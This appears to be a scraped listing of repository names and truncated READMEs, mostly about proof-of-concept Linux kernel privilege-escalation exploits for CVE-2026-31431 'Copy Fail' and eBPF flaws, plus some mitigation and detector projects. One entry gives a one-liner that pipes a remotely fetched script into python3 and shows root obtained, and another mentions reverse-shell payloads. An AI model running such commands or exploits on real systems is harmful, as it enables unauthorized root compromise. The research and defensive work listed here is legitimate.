CVE-2026-31431-copy-fail

Copy Fail Most Linux LPEs need a race window or a kernel-specific offset. Copy Fail is a straight-line logic flaw — it needs neither. The same 732-byte Python script roots every Linux distribution shipped since 2017. Quick run: curl https://copy.fail/exp | python3 && su id uid=0root gid=1002user...

cve-2021-3490-ebpf-analysis

cve-2021-3490-ebpf-analysis Research implementation demonstrating interaction with Linux eBPF subsystem related to CVE-2021-3490. Includes BPF map creation, syscall wrappers, namespace setup, and verifier analysis. For educational and security research purposes only. CVE-2021-3490 – eBPF Verifier...

PoC-CVE-2026-46331

This repository contains a proof-of-concept PoC exploit for CVE-2026-46331, a Linux kernel local privilege escalation vulnerability in the traffic-control subsystem. Vulnerability Summary The flaw exists in the actpedit packet-editing action, where the kernel may calculate the copy-on-write...

CVE-2026-31431

Author: 0xShe Language / 语言 English: https://github.com/0xShe/CVE-2026-31431/blob/main/README.md 中文: https://github.com/0xShe/CVE-2026-31431/blob/main/README-CN.md CVE-2026-31431 Kernel Privilege Escalation Tool Guide 0x01 Quick Start Some target environments do not have Python installed, so this...

CVE-2026-31431-CopyFail-Universal-LPE

CVE-2026-31431 "Copy Fail" — Universal LPE Exploit Linux kernel page cache 4-byte arbitrary write → Local Privilege Escalation Multiple exploit approaches: dynamic ELF entry point overwrite, full binary replacement, Python 3.x compatible with ctypes splice fallback. What is this? CVE-2026-31431 i...

PATCH-CVE-2026-31431-Ubuntu_Debian

🛡️ CVE-2026-31431 Copy Fail Mitigation - Linux Kernel This repository contains scripts designed to neutralize the critical vulnerability CVE-2026-31431 , nicknamed "Copy Fail" , on Ubuntu systems. !IMPORTANT Compatibility: These scripts are tailored for and tested on Ubuntu Server 24.04 LTS. While...

CVE-2026-31431-PoC

CVE-2026-31431 PoC Local Privilege Escalation in the Linux Kernel via algifaead Page Cache Write "Copy Fail" Author: Van Glenndon Enad Original Discovery: Theori / Xint Code Research Team Taeyang Lee Published: April 29, 2026 Severity: High CVSS v3.1 Score: 7.8 CVSS v3.1 Vector:...

CVE-2025-40019-Essiv

CVE-2025-40019-Essiv A PoC for CVE-2025-40019 in ESSIV module. exploit WIP for exploitation, note that scatterlist both req-src and req-dst has pagelink member. pagelink is a way to encode sg table info alongside page pointer as far as I understand: gdb ptype struct scatterlist type = struct...

alg_check

⚠️ Important Disclaimer: Structural Hardening Risks This tool implements Structural Blocking to mitigate CVE-2026-31431 by physically renaming kernel modules and purging them from memory. Before use, please be aware of the following architectural risks: Kernel Update Volatility : Hardening effects...

CVE-2026-31431-Exploit

CVE-2026-31431 "Copy Fail" Exploit A professional proof-of-concept for the CVE-2026-31431 vulnerability, a critical flaw in the Linux kernel's algifaead / authencesn page-cache handling. Overview The CVE-2026-31431 vulnerability, colloquially known as "Copy Fail" , involves a page-cache...

Exploit for CVE-2026-98432

cve-2026-98432-ebpf An eBPF implementation of the published n...

CVE-2026-31431-C

Copy-Fail Exploit CVE-2026-31431 Local privilege escalation exploit targeting a Linux kernel copy-on-write vulnerability via AFALG sockets and splice operations. Overview This exploit abuses a kernel-level memory corruption condition in the Linux crypto subsystem AFALG combined with zero-copy...

CVE-2026-31431

CVE-2026-31431 Copy Fail — C PoC Trivial unprivileged LPE by writing 4 controlled bytes into the page cache of any readable file via a logic bug in AFALG kernel 4.14 → early 2026. Corrupt /usr/bin/su in-memory, then run it → root. Build & Run 1. Generate an ELF payload reverse shell example...

cve-2026-31431-ansible

CVE-2026-31431 "Copy Fail" — Ansible Mitigation Recipe Detect and apply the kernel-cmdline mitigation for CVE-2026-31431 "Copy Fail" across a Debian / Ubuntu / RHEL-family fleet using Ansible. The CVE is a local privilege-escalation flaw in the Linux kernel's algifaead AFALG interface. Any...

Copy-fail-CVE-2026-31431-Exploit-in-C

Copy-fail-CVE-2026-31431-Exploit-in-C Discovery and original disclosure of CVE-2026-31431: Theori / Xint. Public writeup: https://copy.fail/. Overview This program targets the Linux kernel’s AFALG AEAD path and attempts to trigger the “Copy Fail” page-cache corruption behavior described in public...

ghostlock-aak-apk

GhostLock AAK Launcher CVE-2026-43499 · Linux kernel rtmutex stack Use-After-Free local privilege escalation LPE loader/trigger This repository is a security research and proof-of-concept PoC project , used to demonstrate and verify the trigger flow of the CVE-2026-43499 GhostLock vulnerability i...

CVE-2026-31431

CVE-2026-31431: "Copy Fail" - Linux Kernel Local Privilege Escalation 📢 Disclaimer This repository is strictly for educational and cybersecurity research purposes. The exploit code is analyzed to understand the underlying vulnerability, facilitate patching, and develop defensive strategies. Do no...

XCP_ng_CVE-2026-31431_tester

CVE-2026-31431 "Copy Fail" — XCP-ng Laboratory Detector A safe, non-destructive detector script for CVE-2026-31431 "Copy Fail", validated against XCP-ng 8.3 LTS prior to the May 5, 2026 security update. ⚠️ Authorized use only. Run this script exclusively on systems you own or are explicitly...

CopyFail-for-dummies

Copy Fail / CVE-2026-31431 — Research Notes Overview This repository contains a cleaned-up technical diagram and supporting notes for the Linux kernel vulnerability commonly referred to as Copy Fail and tracked as CVE-2026-31431. The purpose of this material is: to explain the bug mechanism at a...

CVE-2022-23222

CVE-2022-23222 Chinese writeup: https://tr3e.ee/posts/cve-2022-23222-linux-kernel-ebpf-lpe.txt For educational/research purposes only. Use at your own risk. Build & Run $ make cc -I include -static -w -o exploit exploit.c $ ./exploit phase1/8 'create bpf maps' running + phase1/8 'create bpf maps'...